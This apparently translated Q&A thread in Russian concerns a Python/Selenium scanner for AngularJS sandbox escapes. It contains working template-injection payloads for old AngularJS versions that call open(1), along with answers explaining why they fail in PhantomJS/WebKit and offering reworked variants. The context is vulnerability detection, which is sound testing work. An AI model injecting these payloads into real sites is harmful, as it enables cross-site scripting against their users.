Странное поведение JavaScript в PhantomJS/WebKit
Я создаю приложение на Python, которое проверяет, уязвимо ли какое-либо веб-приложение для Escape/Bypass в AngularJS Sandbox.
Вот как это работает.
Мое приложение запускает локальный веб-сервер (http://localhost
), используя следующий контент.
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
Полезная нагрузка Sandbox Escape, которую я использую, это {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
, которая должна открывать новое окно из-за вызова open(1)
.
После запуска веб-сервера он использует Selenium (с драйвером PhantomJS в качестве драйвера), чтобы проверить, открылось ли новое окно из-за ошибки SandboxJS Sandbox.
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
Проблема, с которой я сталкиваюсь
PhantomJS не открывает новое окно. Когда я перейду к http://localhost
с помощью Google Chrome, откроет новое окно.
Вот журнал консоли PhantomJS (содержащий две ошибки):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
И это журнал консоли Google Chrome (выдает ошибку, но открывает новое окно):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
Некоторые другие утилиты для работы с песочницами AngularJS Sandbox работают без проблем. Например, полезная нагрузка ниже (для AngularJS версии 1.0.0 до 1.1.5) открывает новое окно в Chrome, а также PhantomJS.
{{constructor.constructor('open(1)')()}}
Я надеюсь, что кто-то сможет помочь мне исправить эту проблему, чтобы я смог определить, успешно ли загружена полезная нагрузка.
Обратите внимание, что я использую open(1)
вместо alert(1)
, так как невозможно обнаружить предупреждения в PhantomJS.
Спасибо заранее.
Обновление 1:
Это JSFiddle, который работает в Google Chrome, но не работает в PhantomJS. Я ищу решение (возможно, изменение полезной нагрузки или настроек PhantomJS или что-то еще), так что полезная нагрузка также запускается в PhantomJS.
https://jsfiddle.net/x90ey5fa/
Обновление 2:
Я выяснил, что это не связано с AngularJS. JSFiddle ниже содержит 4 строки JavaScript, которые работают в Google Chrome, но не работают в PhantomJS. Я также добавил консольный журнал из PhantomJS.
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
Сведения о версии:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
Ответы
Ответ 1
Ваша ошибка Safari очень освещается (и я пинаю себя за то, что не читаю ее более внимательно). Обратите внимание:
Синтаксическая ошибка: Неожиданный токен '('. Ожидаемый ')' или ',' после объявления параметра .
Эта часть parameter declaration
важна.
Что делает полезная нагрузка
- Установите
c
в конструктор toString
, Function
(который создает функции)
- Перенаправляет прототип
Function
toString
метода call
- Сортирует массив с помощью
c
, создавая новую функцию с помощью Function("a", "open(1)")
- Я не уверен, почему, но результат этого
sort
преобразуется в строку через toString
, который перенаправлен на call
, что приводит к вызову новой функции, которая вызывает open(1)
Так оно и работает в Chrome. Однако .sort()
не обязательно работает одинаково во всех браузерах. Он просто должен разбирать вещи... так почему это имеет значение, в каком порядке он смотрит на предметы? В конце концов, переданная функция должна гарантировать, что все выйдет в правильном порядке.
Как MDN говорит, синтаксис Function
есть
Function ([arg1[, arg2[, ...argN]],] functionBody)
WebKit сортирует его "назад", поэтому вместо вызова Function("a", "open(1)")
он делает вызов Function("open(1)", "a")
. Когда заданы несколько аргументов, последний считается телом функции, а все остальные интерпретируются как аргументы. Вот почему вы получаете неожиданный токен. Скобки не являются действительной частью имени параметра.
Вот альтернатива:
c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
Я тестировал его в своем браузере на основе QtWebKit и работал. Конечно, это также вызовет SyntaxError в Chrome, потому что аргументы "назад"...
Ниже приведены несколько попыток заставить это работать без проблем в Angular как на PhantomJS, так и на Chrome. Опять же, они не работают. Я оставляю их здесь, если они вдохновляют кого-то создать более полное решение.
Работает на PhantomJS и Chrome, но не с Angular (из-за Function
):
[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
Работает с Angular в Chrome, но не с PhantomJS:
c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
Ответ 2
Вы можете сделать это различными способами. Чтобы назвать несколько:
Вы можете создать (или удалить) элемент HTML и обнаружить его в Selenium.
Кроме того, вы можете сделать console.log
и определить его следующим образом: Есть ли способ просматривать сообщения консоли console.log через Selenium/GhostDriver?
И другим способом может быть вызов функции PhantomJS, который будет напрямую уведомлять экземпляр phantom с любой полезной нагрузкой, которую вы хотите (так долго поскольку полезная нагрузка JSON.stringifable).
Никогда не использовался Selenium, поэтому не знаете, можете ли вы получить доступ к экземпляру PhantomJS/page. Если Selenium позволяет вам сделать это, вы можете сделать что-то вроде этого:
phantomjs.page.onCallback = function(data) {
console.log('CALLBACK: ' + JSON.stringify(data));
};
И на вашей веб-странице:
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}
Например, если вы можете запустить код JavaScript, который вы хотите, вы можете делать все, что можете себе представить.
Легкий способ сделать это - вещь в "обратном режиме".